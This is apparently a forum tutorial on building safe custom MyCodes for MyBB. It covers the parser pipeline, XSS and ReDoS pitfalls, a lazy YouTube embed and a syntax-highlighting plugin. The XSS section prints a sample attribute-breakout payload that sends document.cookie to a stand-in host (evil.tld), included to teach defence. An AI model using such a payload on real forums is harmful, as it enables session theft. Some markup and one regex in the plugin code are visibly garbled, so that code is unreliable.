MyBB Advanced MyCode and Rich Media Parser Engineering: Regex & Security - Wertomy® - 19-11-2026
MyBB Advanced MyCode and Rich Media Parser Engineering: Regex & Security
At the heart of every MyBB post, signature, and private message sits inc/class_parser.php—the transformation engine responsible for turning raw member markup into safe, structured HTML. While basic text formatting tags work reliably out of the box, modern technical, gaming, and creative communities expect rich interactive embeds: lazy-loaded YouTube players that preserve Core Web Vitals, syntax-highlighted code blocks, GitHub Gist and X/Twitter cards, spoiler drawers, and semantic callout banners. Engineering custom MyCodes without introducing Regular Expression Denial-of-Service (ReDoS) catastrophic backtracking, Cross-Site Scripting (XSS) attribute breakouts, or third-party iframe layout shifts requires deep mastery of MyBB’s multi-stage parser pipeline.
Inside the Multi-Stage Execution Pipeline of inc/class_parser.php
Understanding the exact chronological order in which postParser::parse_message() transforms raw database text prevents 90% of custom MyCode bugs—especially cases where custom tags accidentally corrupt Kod: [/b] blocks or break auto-linked URLs:
[table]
[tr]
[td][b]Pipeline Stage[/b][/td]
[td][b]Core Method / Hook[/b][/td]
[td][b]Transformation Responsibility[/b][/td]
[td][b]Engineering Rule[/b][/td]
[/tr]
[tr]
[td]1. Pre-Parse Hook[/td]
[td][b]parse_message_start[/b][/td]
[td]Inspects raw unescaped message text prior to HTML stripping[/td]
[td]Ideal for extracting [b][code][/b] blocks or custom math blocks early[/td]
[/tr]
[tr]
[td]2. Code Tag Extraction[/td]
[td][b]mycode_parse_code()[/b][/td]
[td]Replaces [b][code][/b] & [b][php][/b] contents with hashed placeholders[/td]
[td]Prevents smilies and custom MyCodes from mangling source code[/td]
[/tr]
[tr]
[td]3. HTML Sanitization[/td]
[td][b]parse_html()[/b][/td]
[td]Escapes raw [b]<[/b], [b]>[/b], and [b]"[/b] characters when [b]allow_html[/b] is off[/td]
[td]Never disable HTML escaping to make a custom MyCode work[/td]
[/tr]
[tr]
[td]4. Core & Custom MyCode[/td]
[td][b]parse_mycode()[/b][/td]
[td]Executes core tags followed by cached Admin CP custom MyCodes[/td]
[td]Anchor regex patterns tightly and avoid greedy [b](.*)[/b] wildcards[/td]
[/tr]
[tr]
[td]5. Auto-URL & Smilies[/td]
[td][b]mycode_auto_url()[/b][/td]
[td]Converts bare [b]https://[/b] strings into anchor tags & parses smilies[/td]
[td]Custom media MyCodes must wrap URLs before auto-linking runs[/td]
[/tr]
[tr]
[td]6. Code Re-Injection[/td]
[td][b]parse_message_end[/b][/td]
[td]Restores escaped source code blocks and fires final post-parse hooks[/td]
[td]Attach Prism.js / Highlight.js language classes safely here[/td]
[/tr]
[/table]
[size=large][color=#2980b9][b]Eliminating XSS and Catastrophic Backtracking in Custom MyCodes[/b][/color][/size]
Administrators frequently paste unvetted regular expressions into [i]Admin CP - Configuration - MyCode[/i] without realizing two severe vulnerabilities hide inside naive patterns:
[list=1]
[*][b]Attribute Breakout XSS via Greedy Wildcards:[/b] Consider a naive custom tag [b]\[banner=(.*?)\](.*?)\[/banner\][/b] replacing into [b]<div style="background:$1">$2</div>[/b]. A malicious user submits [b][banner=" onmouseover="fetch('https://evil.tld/?c='+document.cookie)]Hello[/banner][/b]—breaking out of the [b]style[/b] attribute and executing arbitrary JavaScript in every reader’s browser! Always restrict parameter capture groups strictly to safe character whitelists such as [b]([a-zA-Z0-9#_-]+)[/b] for colors/identifiers or [b](https://[a-zA-Z0-9./?=&_-]+)[/b] for URLs.
[*][b]ReDoS (Regular Expression Denial of Service) CPU Freeze:[/b] Nested quantifiers such as [b]\[box\]((.|\n)*)+\[/box\][/b] trigger exponential backtracking in PCRE when a user submits an unclosed [b][box][/b] tag followed by 5,000 characters—pegging a PHP-FPM worker at 100% CPU until [b]max_execution_time[/b] kills the request. Always use non-greedy [b](.*?)[/b] with the [b]/s[/b] dotall modifier or negated character classes like [b]([^\[]*)[/b], and cap PCRE backtrack limits cleanly.
[/list]
[quote]Never capture a MyCode parameter with an unrestricted (.*?) wildcard when interpolating into an HTML attribute; always constrain attributes to strict alphanumeric, hex, or validated HTTPS URL character classes.[/quote]
[size=large][color=#2980b9][b]Zero-Bloat Lazy-Loaded Rich Media Embeds (YouTube, Vimeo & X)[/b][/color][/size]
Embedding standard third-party [b]<iframe>[/b] players directly inside twenty replies on a single MyBB thread forces visitors’ browsers to download 12+ megabytes of external tracking scripts and fonts—destroying Largest Contentful Paint (LCP) and Interaction to Next Paint (INP) scores.
Instead, engineer a lightweight [b]Facade Embed Pattern[/b] in your custom YouTube MyCode that renders only a crisp, aspect-ratio-locked thumbnail preview and play button initially, injecting the actual [b]youtube-nocookie.com[/b] iframe strictly when a user clicks play:
[code]
# Admin CP -> Configuration -> MyCode -> Add New MyCode
# Title: Privacy-Enhanced Lazy YouTube Embed
# Regular Expression:
\[youtube\]https?://(?:www\.|m\.)?(?:youtube\.com/watch\?v=|youtu\.be/)([a-zA-Z0-9_-]{11})(?:[^\[]*)\[/youtube\]
# Replacement HTML (Zero Third-Party JS Until Clicked):
<div class="mybb-yt-facade" data-ytid="$1" style="aspect-ratio:16/9;background:#0f172a url('https://i.ytimg.com/vi/$1/hqdefault.jpg') center/cover no-repeat;position:relative;border-radius:8px;cursor:pointer;overflow:hidden;">
<button type="button" aria-label="Play Video" onclick="this.parentElement.innerHTML='<iframe src=\'https://www.youtube-nocookie.com/embed/$1?autoplay=1\' style=\'width:100%;height:100%;border:0;\' allow=\'autoplay;encrypted-media;picture-in-picture\' allowfullscreen></iframe>'" style="position:absolute;inset:0;margin:auto;width:68px;height:48px;background:rgba(220,38,38,0.92);color:#fff;border:0;border-radius:12px;font-size:20px;cursor:pointer;">▶</button>
</div>
Notice how [b]([a-zA-Z0-9_-]{11}) matches YouTube’s exact 11-character video ID format—making attribute injection mathematically impossible while cutting initial thread page weight by megabytes.
Extending the Parser via PHP Hooks for Language-Aware Syntax Highlighting
MyBB’s native [php] tag relies on PHP’s dated built-in highlight_string() colors, while Kod: [/b] outputs plain monospace blocks without language detection. By hooking into [b]parse_message_start[/b] and [b]parse_message_end[/b] inside a lightweight custom plugin, you can support clean [b][code=python][/b], [b][code=sql][/b], [b][code=nginx][/b], and [b][code=json][/b] blocks powered by client-side Prism.js or Highlight.js—loading the highlighter stylesheet and script conditionally only on threads that actually contain a [b]<pre><code class="language-...[/b] block:
[code]
<?php
// Hook: parse_message_start — Capture [code=lang]...
before core parser strips parameters
function mycode_syntax_preparse(string &$message): void
{
$allowedLangs = ['php', 'sql', 'js', 'ts', 'python', 'bash', 'nginx', 'json', 'css', 'html'];
$message = preg_replace_callback(
'#\[code=([a-z0-9_-]{1,15})\](.*?)\[/code\]#is',
static function (array $matches) use ($allowedLangs): string {
$lang = strtolower($matches[1]);
if (!in_array($lang, $allowedLangs, true)) {
$lang = 'plaintext';
}
$encoded = base64_encode($matches[2]);
return "[syntax_block:{$lang}:{$encoded}]";
},
$message
);
}
// Hook: parse_message_end — Restore escaped HTML inside semantic <pre><code> tags
function mycode_syntax_postparse(string &$message): void
{
$message = preg_replace_callback(
'#\[syntax_block [a-z0-9_-]+) [A-Za-z0-9+/=]+)\]#',
static function (array $matches): string {
$lang = htmlspecialchars_uni($matches[1]);
$rawCode = base64_decode($matches[2], true) ?: '';
$safeCode = htmlspecialchars_uni($rawCode);
return "<pre class=\"mybb-code-block\"><code class=\"language-{$lang}\">{$safeCode}</code></pre>";
},
$message
);
}
[/code]
[b]Sanitizing Nested Quotes, Spoilers, and Mobile Overflow
Finally, harden your rich media CSS inside global.css so deeply nested [quote] chains, wide ASCII tables, and long inline [code] lines never break mobile viewports: - Cap Quote Nesting Depth in Admin CP: Set Maximum Nested Quote Tags (Configuration - Settings - Posting) to 2 or 3 so multi-month "quote pyramids" automatically strip inner layers upon reply submission.
- Contain Horizontal Code & Media Overflow: Apply max-width: 100%; overflow-x: auto; to .mybb-code-block and blockquote containers so long Nginx configs or stack traces scroll smoothly inside their own container without pushing postbit sidebars off-screen.
By combining strict character-whitelisted regex patterns, privacy-first facade embeds, base64-isolated syntax highlighting hooks, and responsive CSS overflow containment, administrators transform MyBB’s parser into a fast, secure, modern publishing engine.
|